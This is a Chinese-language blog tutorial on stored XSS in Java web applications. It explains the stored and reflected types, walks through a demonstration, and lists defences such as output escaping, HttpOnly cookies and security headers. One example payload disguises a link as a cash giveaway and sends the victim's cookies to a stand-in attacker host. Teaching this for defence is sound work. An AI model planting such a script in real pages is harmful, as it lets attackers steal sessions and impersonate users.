Java Web開發 - 持久型/存儲型XSS漏洞

Java Web開發 - 持久型/存儲型XSS漏洞html

一、什麼是XSS漏洞攻擊?web

  XSS是跨站腳本攻擊(Cross Site Scripting)的簡稱,之因此叫XSS而不是CSS相比你們都能明白了吧,那就是爲了跟層疊樣式表(Cascading Style Sheets,CSS)區別。數據庫

二、XSS漏洞攻擊的原理瀏覽器

  惡意攻擊者往web頁面中插入惡意HTML代碼,當用戶瀏覽該web頁面時,嵌入到該web頁面的惡意HTML代碼就會被執行,從而達到惡意攻擊用戶的特殊目的。服務器

  XSS漏洞又分爲兩類,一類是持久型/存儲型XSS,另外一類是反射型XSS;cookie

  1)持久型/存儲型XSS:嵌入到web頁面的惡意HTML會被存儲到應用服務器端,簡而言之就是會被存儲到數據庫,等用戶在打開頁面時,會繼續執行惡意代碼,可以持續的攻擊用戶;xss

  2)反射型XSS:反射型XSS是一次性的,僅對當次的頁面訪問產生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改後的連接,用戶訪問該連接時,被植入的攻擊腳本被用戶遊覽器執行,從而達到攻擊目的;spa

  本次主要說的是持久型/存儲型XSS漏洞攻擊htm

三、下面是一個示例blog

  1)這個頁面時個簡單的添加頁面

  2)保存成功以後,能夠去查看下數據庫,備註字段中的JavaScript代碼已經存儲到數據庫中了,以下:

  3)在打開用戶查詢列表的頁面(只要頁面中包含該用戶的備註字段均可以),就會出現以下的信息,表明咱們攻擊成功了。

  總結:

    到這裏,可能有人會問,這個能有什麼用啊?試想,若是把上面的「備註」字段的值修改爲以下的代碼,會有什麼結果?

    <a id='attacker'>點擊就送百元現金</a>
    <script>document.getElementById('attacker').href='http://www.attacker_741.com/receiveCookies.html?'+document.cookie;</script>

   若是是這些惡意代碼,那麼攻擊者就能獲取到這個用戶的cookie信息,進而以該用戶角色登陸系統了。

四、咱們如何來防止這種XSS攻擊呢?我總結了如下幾點,你們能夠參考下

  1)在頁面上添加用戶輸入長度限制;

  2)在服務端(數據庫)添加長度限制;

  3)過濾用戶輸入的特殊字符串,對其進行轉義,以下

    示例字符串"<script>是否是document.getElementById('a').href=''+document.cookie;</script>",下面是轉義以後的字符串
      StringEscapeUtils - &lt;script&gt;&#26159;&#19981;&#26159;document.getElementById('a').href=''+document.cookie;&lt;/script&gt;
      HtmlUtils - &lt;script&gt;是否是document.getElementById(&#39;a&#39;).href=&#39;&#39;+document.cookie;&lt;/script&gt;

  4)http相關的設置

   A)cookie.setHttpOnly(true);-保護用戶cookie

   B)res.setHeader("X-Frame-Options", "SAMEORIGIN");X-Frame-Options對應的屬性值含義

      DENY:這個頁面不容許被以frame的方式加載
      SAMEORIGIN:這個頁面只容許同源頁面加載
      <uri>:這個頁面只能被特定的域加載
    C)res.setHeader("X-xss-protection", "1;mode=block");
    D)res.setHeader("X-Content-Type-Options", "nosniff ");阻止瀏覽器進行content-type 嗅探。告訴瀏覽器相信此服務器下發的資源的類型,防止類    型嗅探攻擊。

相關文章
相關標籤/搜索